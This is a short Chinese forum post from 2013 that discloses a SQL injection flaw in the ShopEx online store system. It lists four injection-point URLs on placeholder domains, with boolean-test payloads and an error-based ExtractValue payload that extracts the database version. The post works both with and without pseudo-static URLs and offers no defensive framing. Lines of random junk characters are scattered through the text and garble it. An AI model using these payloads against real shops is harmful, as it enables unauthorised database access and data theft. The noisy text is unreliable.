注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…
. u6 b0 e& m0 a7 b/ a$ P+ k: W5 h' X
2 f2 R% y: f9 X- b* ~5 P- H. M. k好吧，我扯远了~~
' o/ B+ l- l" e2 W0 B* Q) M其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~2 Q" O- |& D( e: @ \6 x, O( n
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：: c: _9 {% X- [; j2 [: A
" \! k* q- K9 C8 b1 E- zhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
6 L6 c. k4 t, V: o8 C( J) H' |$ k( u4 p i
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html/ ?2 O9 L V8 E" X
. [5 p0 q' o8 X% C- j
http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
* W/ ^7 t2 g( z B8 J+ e+ t+ }& ~* Z" o% K( _ e
http://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html
/ T5 [8 |9 }8 C% M1 l) k7 A2 O' w0 B8 w, ^
& c/ t5 W6 }" k0 o d2 J0 w
一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
+ w8 e. ?/ c. P, [* q `8 Q如何注入就不多说了，10多年的东西了…不会也会了…
. J: ` U! I. R" U9 w5 p$ P8 I
) {8 M, H8 w1 J5 s |
发表于 2013-2-4 16:20:04
收藏
支持
反对